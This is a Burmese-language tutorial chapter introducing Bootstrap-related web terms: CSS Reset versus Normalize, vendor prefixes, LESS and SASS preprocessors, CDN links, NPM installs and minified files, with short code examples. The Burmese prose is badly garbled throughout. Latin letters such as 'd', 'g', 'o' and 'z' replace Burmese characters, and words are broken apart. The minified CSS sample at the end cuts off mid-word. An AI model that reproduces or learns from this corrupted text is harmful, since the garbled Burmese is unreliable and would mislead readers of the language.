Bootstrap  ဟာ  dလ့လာရလွယ်ကူတဲ့နည်းပညာတစ်ခုပါ။  HTML/CSS  အdgခခံရှိသူ  မည်သူမဆို  ကိုယ့်
zာသာ dလ့လာအသံုးချလုိ့  ရနိုင်ပါတယ်။  Bootstrap Documentation  ဟာ ရှင်းလင်းပြပီး အစီအစဉ်ကျ
တဲ့အတွက် ဒီ Documentation နဲ့တင် dလ့လာသူdတွအတွက် dတာd်တာ်အဆင်dgပdနပါပြပီ။

- https://getbootstrap.com/docs

ဒါdပမယ့်  Documentation  ဆိုတာ  ရိှသမျှအကုန်ပါdအာင်  doာ်gပရပါတယ်။  သင်ယူdလ့လာ  o့ုိထက်၊
လက်dတွ့အသံုးချချနိ် လုိအပ်လာတဲ့အခါ ကိုးကားo့ုိအတွက် ပုိပြပီးdတာ့သင့်dတာ်ပါတယ်။ သင်ယူdလ့လာ

https://getbootstrap.com/docs
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dနတဲ့အချနိ်မှာdတာ့  လုိလုိမလုိလုိ  ရှိသမျှအကုန်eကည့်တယ်  ဆိတုဲ့နည်းဟာ  ထိdရာက်တဲ့dလ့လာမှု
မဟုတ်zူးလ့ုိ ဆိုချင်ပါတယ်။ အစပုိင်းမှာ အdgခခံကျတဲ့ သdzာသzာဝdတွကို နားလည်dအာင်လုပ်၊ ပြပီး
တဲ့အခါ  အသံုးများတဲ့  လုပ်dဆာင်ချက်dတွကို  ဦးစားdပးပြပီး  dရးွချယ်dလ့လာရတာပါ။  အdgခခံသdzာ
သzာဝကို dကာင်းdကာင်းနားလည်ရင် အသုံးနည်းတဲ့ ကိစ္စdတွက ချက်gခင်းလုပ်စရာ မလုိပါzူး။ လုိအပ်
လာdတာ့မှ  eကည့်လိုက်လ့ုိ  ရနိုင်ပါတယ်။  အဆက်မgပတ်  dလ့လာရင်းအသံုးချသွားတဲ့    Continuous  
Learning    စနစ်   ဆိုပါdတာ့။  ဒီနည်းနဲ့သာ  ကdန့dခတ်လုိ  dလ့လာစရာdတွ  မဆုံးနိုင်dအာင်  များလှတဲ့
အdgခအdနမှာ  ထိထိdရာကd်ရာက်  dလ့လာအသံုးချနိုင်မှာပါ။  ဒါdeကာင့်  ဒီစာအုပ်မှာ  HTML/CSS  လုိ
အdgခခံသdzာသzာဝdတွကို  အရင်ဦးစားdပးdoာ်gပခဲ့ပြပီး၊  dနာက်တစ်ဆင့်အdနနဲ့  Bootstrap  ရဲ့
အdရးကြကီးပြပီး အသံုးများမယ့် အdeကာင်းအရာdတွကို dရးွထုတ်doာ်gပသွားမှာ goစ်ပါတယ်။

အdပါ်မှာdပးထားတဲ့ Link ကdန Bootstrap Documentation ကိုသွားeကည့်လုိက်မယ်ဆိုရင် dတွ့ရမယ့်
အdခါ်အdဝါ်  အသံုးအနှုန်းdလးdတွ  ရှိပါတယ်။  ဒီအသံုးအနှုန်းdလးdတွက သင့်တင့်တဲ့အdတွ့အကြကုံ  ရှိ
ထားပြပီး  Web Developer  တစ်dယာက်အတွက်  အထူးအဆန်း  မဟုတ်dပမယ့်၊  အခုမှစdလ့လာမယ့်  သူ
အတွက်dတာ့ အထူးအဆန်း goစ်dနနိုင်ပါတယ်။ အdgခခံသdzာသzာဝကို အရင်နားလည်dအာင် လုပ်ရ
မယ်ဆိုတဲ့  dလ့လာမှုလမ်းစဉ်နဲ့အညီ  Bootstrap  ကိုလက်dတွ့မdလ့လာခင်  ဒီအdgခခံအသံုးအနှုန်းdလး
dတွကို အရင်ကြကိုပြပီး ရှင်းgပထားချင်ပါတယ်။

CSS Reset
ပြပီးခဲ့တဲ့အခန်းမှာ CSS အdeကာင်းdgပာတုံးက Browser Default Style ဆိုတဲ့ အသံုးအနှုန်းတစ်ခု ပါသွားခဲ့
ပါတယ်။ <h1> ဆိရုင် စာလံုးကြကီးကြကီးနဲ့ gပdပးတယ်။ <p> ဆိုရင် တစ်ခုနဲ့တစ်ခု နည်းနည်းခွာပြပီး gပdပး
တယ်။  <ul><li> ဆိရုင်  Bullet  စာရင်းနဲ့gပdပးတယ်။  <a> ဆိုရင်  စာလံုးအgပာdရာင်နဲ့  Underline
တားပြပီးgပdပးတယ်။ စသgoင့် လုပ်dဆာင်ချက်dတွကို  Browser Default Style လ့ုိdခါ်တာပါ။ ကိုယd်ရး
dပးထားတာ မဟုတ်zဲ  Browser dတွက မူလကတည်းက သတ်မှတ်ထားတဲ့  Default Style  dတွ goစ်ပါ
တယ်။

gပဿနာက၊ အ့ဲဒီ  Default Style  dတဟွာ တစ်ကယ်တမ်း အသံုးမဝင်gခင်း goစ်ပါတယ်။ သူကသာ Style
လုပ်dပးထားတာ၊  dပးထားတဲ့အတိုင်း  သံုးလို့လည်း  အဆင်မdgပပါzူး။  အဆင်dgပတဲ့ပံုစံgoစ်dအာင် gပန်
gပင်ပြပီး အပြမဲတမ်းdရးရတာပဲ။ ပြပီးdတာ့  Browser  တစ်ခုနဲ့တစ်ခု အ့ဲဒီ  Default Style  dတွက မတူeကgပန်
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zူး။ နည်းနည်းကွဲeကgပန်တယ်။ ဒီdတာ့ တစ်ချ ို ့ Element dတရွဲ့ doာ်gပပုံရလဒ်က Browser တစ်ခုမှာပုံစံ
တစ်မျ ို း၊ dနာက် Browser ကျdတာ့ dနာက်ပံုစံတစ်မျ ို း goစ်dနတတ်ပါတယ်။ အများကြကီးကွာသွားတာdတွ
ရိှသလုိ၊ နည်းနည်းdလး မသိမသာ ကွာတာdတွလည်း ရိှdနပါတယ်။ 

CSS Reset  ဆိုတာ အ့ဲဒီလုိ  အသံုးမဝင်တဲ့အgပင်  Browser  တစ်ခုနဲ့တစ်ခု  မတူzဲကွဲgပားdနတဲ့  Default
Style dတွကို oယ်ထုတ်ပစ်လုိက်တာပါ။ ကိုယ့်zာသာ dရးလ့ုိရသလုိ၊ အသင့်dရးထားပြပီးသား Reset ကုဒ်
dတွကို ယူသုံးလ့ုိလည်း ရနိုင်ပါတယ်။ ကိုယ်zာသာ dရးမယ်ဆိုရင် ဥပမာက ဒီလုိပါ -

HTML  ထဲမှာ  <h1><h2><ul><li> Element  dတွထည့်ထားdပးမယ့်  ရလဒ်ကိုeကည့်လုိက်ရင်  zာ
Style  မှမပါdတာ့zဲ  ရိုးရိုးစာdတွလုိ  တန်းစီပြပီး  gပdနတာကို  dတွ့ရမှာပါ။  CSS  နဲ့ပဲ  <h1><h2> ရဲ့
font-weight တန်oုိးကို  normal လ့ုိသတ်မှတ်ပြပီး နZိုပါdနတဲ့  Bold ကို goုတ်လုိက်ပါတယ်။ <ul>
အတွက် list-style တန်oုိး none လ့ုိdgပာပြပီး နZိုပါdနတဲ့ Bullet dတွကို goုတ်လုိက်ပါတယ်။ နZိုပါ
dနတဲ့  margin, padding dတွ အကုန် goုတ်လုိက်ပါတယ်။ ဒါdeကာင့်  Default Style  dတွ အကုန်
gပုတ်သွားလ့ုိ အားလံုးကို ရိုးရိုးစာdတွလုိ တန်းစီပြပီးgပdနတာပါ။ ဒီသdzာကို CSS Reset လ့ုိdခါ်gခင်း goစ်
ပါတယ်။
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ဒီ  Reset  ကုဒ်မျ ို းကို  ကိုယ့်zာသာ  dရးစရာမလိုပါzူး။  အသင့d်ရးပြပီးသားdတွ  ရှိပါတယ်။  Element
အားလံုးအတွက်  တစ်ခုမကျန်  ကိုယ့်zာသာdရးရင်  စုံမှာမဟုတ်ပါzူး။  ဒါdeကာင့်လုိအပ်ရင်  အထပ်ထပ်
စမ်းထားပြပီးသား gပည့်စုံတဲ့ အသင့်သုံး  Reset  ကုဒ်dတွကို အသံုးgပုသင့်ပါတယ်။  Bootstrap  ကdတာ့ အ
ရင် Version အdဟာင်းdတွမှာ normalize.css လ့ုိdခါ်တဲ့ နည်းပညာကိုသုံးပါတယ်။ သူလည်း Reset တစ်
မျ ို းပါပဲ။ ဒါdပမယ့် သူကdတာ့ ရှိသမျှ Default Style dတွကို အကုန်goုတ်မgပစ်zဲ၊ <h1> ဆိရုင် dခါင်းစီး
နဲ့တူdအာင် ခပ်ကြကီးကြကီးgပမယ်။ <ul> ဆို  Bullet နဲ့ပဲ ဆက်လက်doာ်gပdပးသွားမှာ goစ်ပါတယ်။ သူလုပ်
dပးမှာက Browser မတူလ့ုိ ကွဲgပားdနတတတ်ဲ့ အသွင်အgပင်dတွကို ညီသွားdအာင် ညှိdပးလုိက်မှာပါ။
ဒါdeကာင့် အကျဉ်းချုပ်အdနနဲ့ Reset   နဲ့   Normalize   ဆိုပြပီး နှစ်မျ ို းရှိတယ်။   Reset   က   Default Style   dတွ  
အကုန်ရှင်းgပစ်ပြပီး    Normalize   ကdတာ့   Default Style   dတွကို ညီdအာင် ညှိdပးလုိက်တယ်လ့ုိ မှတ်နိုင်ပါ  
တယ်။  Bootstrap  က dနာက်ပုိင်း  Version  dတွမှာ  Reboot  လ့ုိအမည်dပးထားတဲ့  normalize.css  နဲ့
သdzာသzာဝ ဆင်တူတဲ့ နည်းစနစ်ကို သံုးပါတယ်။

Vendor Prefix
CSS  နဲ့လုပ်လ့ုိရတာdတွအများကြကီးပါ။  ပြပီးခဲ့တဲ့အခန်းမှာလည်း  dgပာခဲ့ပါတယ်။ ဒီလုပ်dဆာင်ချက်dတွမှာ
အဆင့်အမျ ို းမျ ို းရှိပါတယ်။  dဆွးdနွးဆဲအဆင့်၊  စမ်းသပ်တဲ့အဆင့်၊  လက်dတွ့အသံုးချအဆင့်  စသgoင့်
အဆင့်ဆင့်  ရိှeကပါတယ်။  ဒီစာအုပ်မှာ  doာ်gပထားတာdတွ  အားလံုးက  လက်dတွ့အသံုးချအဆင့်
လုပ်dဆာင်ချက်dတွ goစ်ပါတယ်။ တစ်ချ ို ့ စမ်းသပ်ဆဲအဆင့် CSS ရဲ့ လုပ်dဆာင်ချက်dတွကို ထည့်သွင်း
အသံုးgပုလိုရင် ဒီအတိုင်းသံုးလ့ုိ မရပါzူး။ Vendor Prefix လ့ုိdခါ်တဲ့ dရးထံုးတစ်မျ ို းကို အသံုးgပုရdလ့ ရိှ
ပါတယ်။ ဥပမာ - ဒီလိုကုဒ်မျ ို းကို ရံoန်ရံခါ dတွ့ရနိုင်ပါတယ်။

 CSS 
p {
    background: yellow;
    background: linear-gradient(90deg, yellow, green);
    background: -moz-linear-gradient(90deg, yellow, green);
    background: -webkit-gradient(linear, top, yellow, green);
    background: -o-linear-gradient(90deg, yellow, green);
    background: -ms-linear-gradient(90deg, yellow,green);
}
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ဒါကdတာ့  Linear  Gradient  လုပ်dဆာင်ချက်ကို  စမ်းသပ်ဆဲအဆင့်မှာ  dရးခဲ့eကရတဲ့ကုဒ်ပါ  (အခုdတာ့
လက်dတွ့အသံုးချလ့ုိ  ရdနပြပီမ့ုိလုိ့  ဒါမျ ို းdတွ  မလိုdတာ့ပါzူး)။  background တစ်ခုထဲကိုပဲ  (၆)  ခါ
dရးထားရပါတယ်။ ပထမဆုံးတစ်ခုမှာ  Background ကို ရိုးရိုး  Color  အdနနဲ့ သတ်မှတ်ထားပါတယ်။ ဒါ
deကာင့် ဆက်လကd်ရးသားတဲ့  စမ်းသပ်အဆင့်ကုဒ်dတွကို  Browser  က နားမလည်ရင်လည်း ကိစ္စမရှိပါ
zူး၊ ဒီ Color ကိုပဲအသံုးgပု အလုပ်လုပ်သွားမှာပါ။ ဒီနည်းကို Fallback Style လ့ုိ dခါ်ပါတယ်။ သံုးချင်တာ
က ဆက်လက်dရးသားထားတဲ့  စမ်းသပ်အဆင့် ကုဒ်dတွgoစ်ပြပီး၊  အကယ်၍ အဆင်မdgပရင် ရိုးရိုး  Color
ကိုပဲသံုးမယ်ဆိုတဲ့ သdzာမျ ို း goစ်သွားပါတယ်။

Linear  Gradient  အတွက်  တစ်ကယ့်dရးနည်းအမှန်က  linear-gradient() goစ်ပါတယ်။   ဒါကို
တစ်ချ ို ့  Browser  dတွက လုိက်နာတယ်။  တစ်ချ ို ့  Browser  dတွကပုိdကာင်းတယ်ထင်တဲ့  နည်းကိုသုံး
တယ်။  ဒါdeကာင့်  Browser  တစ်ခုနဲ့တစ်ခု  ဒီအဆင့်မှာ  အလုပ်လုပ်ပံုမတူeကပါzူး။  ဒါdeကာင့်သံုးချင်ရင်
သက်ဆိုင်ရာ Browser က သတ်မှတ်ထားတဲ့ Prefix dတွ dရှ့ကခံပြပီး dရးdပးရပါတယ်။ တgခား Browser
dတွမှာ ဒီကုဒ်က အလုပ်လုပ်မှာ မဟုတ်zူးဆိုတာကို dပါ်လွင်သွားdအာင်လ့ုိပါ။

-moz- Prefix နဲ့စတဲ့လုပ်dဆာင်ချက်dတွက Mozilla Firefox Browser  အတွက်ပါ။ -webkit- Prefix
နဲ့စတဲ့ လုပ်dဆာင်ချက်dတွကdတာ့ Google Chrome နဲ့ Apple Safari Browser dတွ အတွက်ပါ။ ဒီနှစ်ခု
က  Browser  အdနနဲ့  မတူdပမယ့် သုံးထားတဲ့  Rendering Engine  dခါ်  HTML/CSS  ကုဒ်dတွdပါ်မှာ
အdgခခံပြပီး သင့်dတာ်တဲရ့လဒ်ကို  doာ်gပdပးတဲ့  နည်းပညာက အတူတူပဲမ့ုိလ့ုိပါ။ ဒီအdeကာင်းကို  ဒီdနရာ
မှာ အကျယ်မချဲ့dတာ့ပါzူး။ တစ်ချ ို ့   Browser   dတွက   Browser   သာမတူတာ၊   Rendering Engine   တူeက  
တယ်လ့ုိ  အကျဉ်းချုပ်  မှတ်နိုင်ပါတယ်။  -o- Prefix  က  Opera  Browser  အတွက်goစ်ပြပီးdတာ့  -ms-
Prefix ကdတာ့ Microsoft Internet Explorer အတွက်ပါ။

အခုdနာက်ပုိင်းမှာ Google Chrome, Apple Safari, Opera, Brave, Microsoft Edge စတဲ့ Browser dတွ
အားလံုးက သံုးထားတဲ့ Rendering Engine တူeကပါတယ်။ မတူတာဆိုလ့ုိ Major Browser ထဲမှာ Firefox
တစ်ခုပဲ ကျန်dတာ့တယ်လ့ုိdတာင် ဆိုနိုင်ပါတယ်။ Vendor Prefix dတွကိုလည်း အသံုးdတာ့ နည်းလာeက
ပါပြပီ။ ဒါdပမယ့် အချ ို ့dနရာdတွမှာ ဆက်သံုးdနeကရဆဲပါပဲ။ Vendor Prefix ဆိုတဲ့အသံုးအနှုန်းက zာကို
ဆိုလုိတာလဲဆိုတာကို သိdစoို့နဲ့ ရံoန်ရံခါ Vendor Prefix dတွသံုးပြပီး dရးထားတဲ့ကုဒ်dတွကို dတွ့တဲ့အခါ
သူတို့ရဲ့အဓိပ္ပါယ်ကို သိရှိdစo့ုိအတွက် ထည့်သွင်းdoာ်gပgခင်း goစ်ပါတယ်။
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Preprocessor
ပြပီးခဲ့တဲ့အခန်းမှာလည်း dgပာခဲ့ပါတယ်။ Web Document dတွ တည်dဆာက်oို့အတွက် Style Language
မူကွဲdတွ  နှစ်မျ ို းသံုးမျ ို း  မရှိzဲ  CSS  တစ်မျ ို းတည်းသာ  ရိှပါတယ်။  Language  အdနနဲ့  မူကွဲမရှိdပမယ့်
LESS လ့ုိdခါ်တဲ့ နည်းပညာနဲ့ SASS လ့ုိdခါ်တဲ့ Preprocessor နည်းပညာdတွdတာ့ ရိှပါတယ်။ Bootstrap
က အရင် Version အdဟာင်းdတွမှာ LESS ကိုသံုးပြပီး dနာက်ပုိင်း Version dတွမှာ SASS ကိုသုံးပါတယ်။

ဒီနည်းပညာdတွက CSS မှာ မူလကမပါတဲ့ dရးထံုးdတွကို goည့်စွက်dပးထားeကပါတယ်။ ဥပမာ - LESS
ကိုအသံုးgပုdရးသားထားတဲ့ ဒီကုဒ်ကိုdလ့လာeကည့်ပါ။

 LESS 
@primary: blue;

button {
  background: @primary;
}

a {
  color: @primary;
}

@primary ဆိုတဲ့  Variable တစ်ခုနဲ့  blue ဆိုတဲ့  Color Value ကို သတ်မှတ်dပး ထားလုိက်တာပါ။ ဒါ
deကာင့် dနာက်ပုိင်း လုိအပ်တဲ့dနရာမှာ gပန်သံုးလုိ့ရသွားပါတယ်။ နမူနာအရ button ရဲ့ background
နဲ့  a ရဲ့  color တို့ဟာ blue goစ်သွားမှာပါ။  blue လ့ုိတိုက်ရိုက်မdပးdတာ့zဲ၊  blue တန်oုိးရှိdနတဲ့
@primary ကိုdပးလုိက်တာပါ။  ဒီနည်းကdပးတဲ့  အားသာချက်ကdတာ့၊  အdeကာင်းအမျ ို းမျ ို းdeကာင့်
စိတ်ကူးdgပာင်းပြပီး အdရာင် blue ကို မသုံးချင်dတာ့zူး purple dgပာင်းသုံးချင်တယ်ဆိုရင် တစ်ခုချင်း
လုိက်gပင်o့ုိ မလုိdတာ့ပဲ @primary ရဲ့ တန်oုိးကို purple လ့ုိ dgပာင်းdပးလုိက်ယံုပါပဲ။ @primary ကို
သံုးထားသမျှ dနရာအားလုံး purple goစ်သွားမှာပါ။ ဒီလုိပါ -
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 LESS 
@primary: purple;

button {
  background: @primary;
}

a {
  color: @primary;
}

SASS နဲ့ဆိရုင် ဒီလုိdရးရပါတယ်။

 SASS 
$primary: blue;

button {
  background: $primary;
}

a {
  color: $primary;
}

အတူတူပါပဲ။  Variable  အgoစ်သတ်မှတ်o့ုိ  @ ကိုမသံုးdတာ့zဲ  $ ကိုသံုးသွားတာပဲ ကွာသွားပါတယ်။ တစ်
ချ ို ့ Style Rule dတွကို LESS မှာ ဒီလိုလည်း gပန်dခါ်သံုးလို့ ရပါdသးတယ်။

 LESS 
.button {
  background: blue;
  color: white;
  padding: 6px 12px;
}

button {
  .button();
}

a {
  .button();
}
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.button မှာdရးထားတဲ့  သတ်မှတ်ချက်dတွကို  button အတွက်ယူသံုးလုိက်သလုိ၊  a အတွက်လည်း
ယူသံုးလုိက်တာပါ။ ဒါdeကာင့် တူညီတဲ့  Rule  dတွကို တစ်ခါdရးထားယုံနဲ့ လုိတဲ့dနရာက ယူသံုးလုိ့ရသွား
သလုိ၊  gပင်o့ုိလုိရင်လည်း  တစ်dနရာမှာ  gပင်လုိက်ယုံနဲ့  ယူသံုးထားတဲ့dနရာအားလံုးမှာ  သက်dရာက်သွား
dစမှာပဲ goစ်ပါတယ်။

အလားတူကုဒ်ကို SASS မှာ ဒီလုိdရးရပါတယ်။

 SASS 
@mixin button {
  background: blue;
  color: white;
  padding: 6px 12px;
}

button {
  @include button;
}

a {
  @include button;
}

သူကdတာ့  @mixin Keyword  ကိုသံုးပြပီး  Rule  dတွကို  ကြကိုdရးdပးရပြပီး  ယူသုံးချင်တဲ့dနရာမှာ
@include နဲ့  gပန်ယူသံုးလုိက်တာပါ။  SASS  မှာ  SASS  နဲ့  SCSS  ဆိုပြပီးdရးထုံးမူကွဲ  (၂)  မျ ို းရှိပါdသး
တယ်။ တစ်ကယ်dတာ့ အခုနမူနာdပးခဲ့တဲ့ကုဒ်dတွကို SCSS လ့ုိdခါ်မှ ပုိမှန်ပါမယ်။ SASS dရးထံုးအမှန်နဲ့
ဆိရုင် ဒီလုိgoစ်မှာပါ။

 SASS 
@mixin button
  background: blue
  color: white
  padding: 6px 12px
button
  @include button

a
  @include button
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သိပ်မကွာပါzူး။ Bracket dတွ ပါgခင်း/မပါgခင်း နဲ့  Semi-colon dတွ ပါgခင်း/မပါgခင်း ကွာသွားတာပါ။ နှစ်
မျ ို းလံုး  zယ်လုိdရးdရး  ကြကိုက်တဲ့နည်းကို  သံုးပြပီးdရးနိုင်ပါတယ်။  ဒါdeကာင့်  SASS  နဲ့  SCSS  ဆိုတဲ့
အသံုးအနှုန်း (၂) မျ ို းdတွ့ရင် မျက်စိမလည်ပါနဲ့။ အတတူူပါပဲ၊ dရးထုံးနည်းနည်းdလး ကွာသွားတာပါ။

ဒီနည်းပညာdတွကိုသံုးပြပီးdရးထားတဲ့ကုဒ်dတွကို  တိုက်ရိုက်သံုးလုိ့မရပါzူး။  Browser  dတွက  CSS  ကိုပဲ
နားလည်eကတာပါ။  LESS  dတွ  SASS  dတွကို  နားမလည်eကပါzူး။  ဒါdeကာင့်  ဒီကုဒ်dတွကို  Browser
နားလည်တဲ့  CSS  goစ်dအာင်  အရင်dgပာင်းdပးရပါတယ်။ ဒီလုိမျ ို း  CSS    goစ်dအာင် အရင်ကြကိုdgပာင်းပြပီး  
dတာ့မှသာ သံုးလ့ုိရတဲ့အတွက်   Preprocessor   နည်းပညာdတွလ့ုိ dခါ်eကတာပါ  ။

Preprocessor  နည်းပညာdတွရဲ့  dရးနည်းအdသးစိတ်ကို  အခုတစ်ခါထဲdလ့လာo့ုိ  မဟုတ်dသးပါzူး။
လုိအပ်လာdတာ့မှ  ဆက်လက်dလ့လာ  eကရမှာပါ။  ဒီအပုိင်းရဲ့  dနာက်နားမှာdတာ့  Bootstrap  ကို
Customize  လုပ်လုိ့ရတဲ့  SASS  ကုဒ်တစ်ချ ို ့ကို  နမူနာထည့်dပးထားပါတယ်။  dလာdလာဆယ်မှာ
Preprocessor ဆိုတဲ့အသုံးအနှုန်းကိုdတွ့ရင် zာကိုdgပာdနတာလဲဆိုတာ သိo့ုိက အဓိကပါ။

CDN
Bootstrap အပါအဝင် CSS နည်းပညာdတွ၊ JavaScript နည်းပညာdတွ၊ Font နဲ့ Icon နည်းပညာdတွကို
ပံုစံ (၃) မျ ို းနဲ့ ရယူအသုံးgပုနိုင်dလ့ ရှိပါတယ်။ Download, CDN နဲ့ NPM တို့goစ်ပါတယ်။

Download  ကdတာ့  ရှင်းပါတယ်။  dပးထားတဲ့oိုင်dတွကို  Download  လုပ်ပြပီး  ကိုယ့်ပdရာZျက်ထဲမှာ
ထည့်သွင်းအသံုးgပုgခင်း goစ်ပါတယ်။ ဥပမာ ဒီလိုပါ -

<link rel="stylesheet" href="css/bootstrap.min.css"> 

နမူနာအရ  bootstrap.min.css ဆိုတဲ့oုိင်က  css oုိဒါထဲမှာ  ရှိတယ်ဆိုတဲ့သdzာနဲ့  Path
လမ်းdeကာင်းdပးပြပီး  ချတိ်ဆက်ထားတာပါ။  ဒါdeကာင့်  bootstrap.min.css oုိင်ကို  ကြကိုတင်
Download ယူပြပီး css oုိဒါထဲမှာ ထည့်ထားdပးo့ုိ လုိအပ်မှာgoစ်ပါတယ်။
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CDN ကdတာ့ oုိင်dတွကို  Download လုပ်စရာမလုိzဲ ဆာဗာကdန တိုက်ရိုက်ချတိ်သံုးတဲ့နည်း goစ်တယ်
လ့ုိ အတိုချုပ် ဆိုနိုင်ပါတယ်။ ဥပမာ ဒီလိုပါ -

<link rel="stylesheet" href="https://cdnjs.com/css/bootstrap.min.css">

နမူနာမှာ  bootstrap.min.css oုိင်ရဲ့  CDN  ဆာဗာလိပ်စာအgပည့်စုံကိုdပးပြပီး  ချတိ်ဆက်လုိက်တာ
ပါ။ နမူနာgoစ်ပါတယ်၊ တစ်ကယ်ချတိ်o့ုိဆိုရင် URL က ဒီထက်ပုိရှည်ပါလိမ့်မယ်။ Version နံပါတ်dတွ zာ
dတွ ပါdသးလ့ုိပါ။

လုိအပ်တဲ့oုိင်dတွကို  CDN ဆာဗာကdနတိုက်ရိုက် ချတိ်သံုးလိုက်ရင် လက်dတွ့မှာ အကျ ို းရှိပါတယ်။ CDN
ဆိုတာ  Content  Distribution  Network  (သ့ုိ)  Content  Delivery  Network  ရဲ့  အတိုdကာက်  goစ်ပါ
တယ်။  Google CDN, Microsoft CDN, Cloudflare CND  စသgoင့်  CDN Network  dတွ ရှိeကပါတယ်။
Google တို့ Microsoft တို့က အသံုးများတဲ့ oုိင်dတွကို အများအဆင်dgပdစoို့အတွက် သူတို့ရဲ့ CDN ဆာဗာ
dတွdပါ်မှာ တင်ထားdပးeကပါတယ်။ CDN ဆာဗာdတွဆိုတာ ကမ္ဘာအနှံ့မှာ goန့်ပြပီးdတာ့ ထားeကတာပါ။
ဒါdeကာင့်  အသံုးgပုသူ    User    နဲ့အနီးဆုံးဆာဗာကdန လုိတဲ့oုိင်dတွကို ချdပးနိုင်မှာ goစ်ပါတယ်  ။ စင်ကာပူ
dန အသုံးgပုသူအတွက် လုိတဲ့oုိင်ကို စင်ကာပူ ဆာဗာကdန ချdပးပြပီး၊ ရန်ကုန်ကdန အသံုးgပုသူအတွက်
လုိတဲ့oုိင်ကို ရန်ကုန်ဆာဗာကdန ချdပးတဲ့ အလုပ်မျ ို းကို CDN ကလုပ်dပးနိုင်ပါတယ်။

CDN  ရဲ့  တgခားအားသာချက်dတွလည်း ရိှပါdသးတယ်။ ဒီdနရာမှာdတာ့  အကျယ်မချဲ့နိုင်ပါzူး။  လုိရင်း
အdနနဲ့  CDN ဆာဗာdတွက အသံုးgပုသူ  User နဲ့ အနီးဆုံး ဆာဗာကdန oုိင်dတွကိုချdပးနိုင်တယ်လ့ုိသာ
အတိုချုပ် မှတ်ထားပါ။

NPM
NPM ကdတာ့ Node Package Manager ရဲ့ အတိုdကာက် goစ်ပါတယ်။ အရင်က JavaScript နည်းပညာ
dတွအတွက်ပဲ သံုးeကdပမယ့် အခုdတာ့ နည်းပညာအစုံအတွက် သံုးeကပါတယ်။ CSS နဲ့ JavaScript နည်း
ပညာdတွမှာ  Dependency  လ့ုိdခါ်တဲ့  ဆက်စပ်လုိအပ်ချက်dတွ  ရိှeကပါတယ်။  Bootstrap  ရဲ့အရင်
Version  dတွမှာ  jQuery  လ့ုိdခါ်တဲ့  JavaScript  နည်းပညာ လုိအပ်ပါတယ်။  jQuery  မပါရင်  Bootstrap
က အgပည့်အဝ အလုပ်မလုပ်ပါzူး။ ဒါdeကာင့် jQuery ဟာ Bootstrap အတွက် Dependency လ့ုိ ဆိုနိုင်
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ပါတယ်။ oုိင်dတွကို ကိုယ့်zာသာ Download လုပ်မယ်ဆိုရင် Dependency dတွကိုလည်း ကိုယ့်zာသာ
Download  ထပ်လုပ်ရပါတယ်။  Bootstrap  ကို  Download  လုပ်၊  ပြပီးရင်  jQuery  ကိုလည်း  ထပ်ပြပီး
Download လုပ်ရမှာပါ။  NPM ကdတာ့  Dependency    dတွကို အလုိအdလျှာက်    Download   လုပ်dပးနိုင်  
တဲ့ နည်းပညာgoစ်ပါတယ်။ Command Line နည်းပညာgoစ်ပါတယ်။ ဥပမာ -

npm install bootstrap

ဒီ Command က Bootstrap ကို  Download လုပ်dပးပါလ့ုိ dgပာလုိက်တာပါ။ ထူးgခားချက်အdနနဲ့  NPM
က jQuery အပါအဝင် Bootstrap ရဲ့  Dependency dတွကို အလုိအdလျှာက် တစ်ခါထဲ Download လုပ်
dပးသွားမှာ goစ်ပါတယ်။

NPM လုိနည်းပညာမျ ို းဟာလည်း ကျယ်gပန့်ပါတယ်။ ထံုးစံအတိုင်း ဒီအဆင့်မှာ zယ်လုိနည်းပညာမျ ို းလဲ
သိdစo့ုိသာ ရည်ရွယ်ပါတယ်။ NPM နဲ့ oုိင်dတွကို dဒါင်းလုိက်ရင် လုိအပ်တဲ့ Dependency dတွကို တစ်ခါ
ထဲ အလုိအdလျှာက် တွဲdဒါင်းdပးတယ်လ့ုိ အတိုချုပ် မှတ်ထားလုိက်ပါ။ ထပ်မံသိရှိသင့်တာdတွကို dနာက်
အပုိင်းdတွမှာ လုိအပ်သလုိ ဆက်လက်doာ်gပdပးသွားမှာပါ။

Minify
CSS  နည်းပညာdတွ  JavaScript  နည်းပညာdတွကို  တီထွင်eကသူdတွက  ပံုစံနှစ်မျ ို းနဲ့  dပးeကdလ့ရှိပါ
တယ်။ မူရင်းကုဒ် နဲ့ အ့ဲဒီကုဒ်ကို ကျုံ့သွားdအာင် ချုံ့ထားတဲ့ ကုဒ်goစ်ပါတယ်။ ကုဒ်dတွကိုကျုံ့သွားdအာင်
ချုံ့လုိက်တဲ့လုပ်ငန်းကို    Minify   လုပ်တယ်လ့ုိ dခါ်ပါတယ်  ။ ချုံ့တယ်ဆိုတာ အများအားgoင့် ကုဒ်ထဲမှာပါတဲ့
Space dတွ Indent dတွ Comment dတွကို oယ်ထုတ်လုိက်တာပါ။ ဒီ Space dတွ Comment dတွပါလ့ုိ
သာ ကုဒ်က oတ်eကည့်လ့ုိရနိုင်တာပါ။ ဒါdeကာင့်  Minify  လုပ်ထားတဲ့  ကုဒ်ကdတာ့ zာdတွdရးထားလဲ
oတ်eကည့်လ့ုိ အဆင်dgပdတာ့မှာမဟုတ်ပါzူး။ 

အကျဉ်းချုပ်အားgoင့် dရးထားတဲ့ကုဒ်ကိုdလ့လာချင်ရင် မူရင်းကုဒ်ကိုသံုးရမှာgoစ်ပြပီး၊ လက်dတွ့အသံုးgပုo့ုိ
အတွက်dတာ့  Minify ကုဒ်ကိုယူရမှာပါ။ ချုံ့ထားတဲ့အတွက် oုိင်အရွယ်အစား dသးသွားလ့ုိ  User အတွက်
Download လုပ်ရတာ ပုိgမန်သွားမှာgoစ်ပါတယ်။ 
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မူရင်းကုဒ်နဲ့ Minify လုပ်ထားတဲ့ကုဒ် ကွဲgပားအာင် oုိင်အမည်dပးတဲ့အခါ dနာက်ကdန .min ဆိုတာdလး
ထည့်dပးdလ့ရှိပါတယ်။ ဥပမာ  bootstrap.css ဆိုရင် မူရင်းကုဒ်goစ်ပြပီး  bootstrap.min.css
ဆိရုင် Minify လုပ်ထားတဲ့ ကုဒ်oိုင် goစ်နိုင်ပါတယ်။ 

dပးထားတဲ့နမူနာမှာ မူရင်းကုဒ်နဲ့ Minify ကုဒ်တို့ရဲ့ ကွာgခားပံုကို ယှဉ်တွဲdလ့လာeကည့်ပါ။

 Normal CSS  Minify CSS 
html {
  font-family: sans-serif;
  line-height: 1.15;
}

article, aside {
  display: block;
}

body {
  margin: 0;
  font-family: Roboto, Arial;
  font-size: 1rem;
  font-weight: 400;
  line-height: 1.5;
  color: #212529;
  text-align: left;
  background-color: #fff;
}

hr {
  box-sizing: content-box;
  height: 0;
  overflow: visible;
}

html{font-family:sans-
serif;line-
height:1.15}article,aside{disp
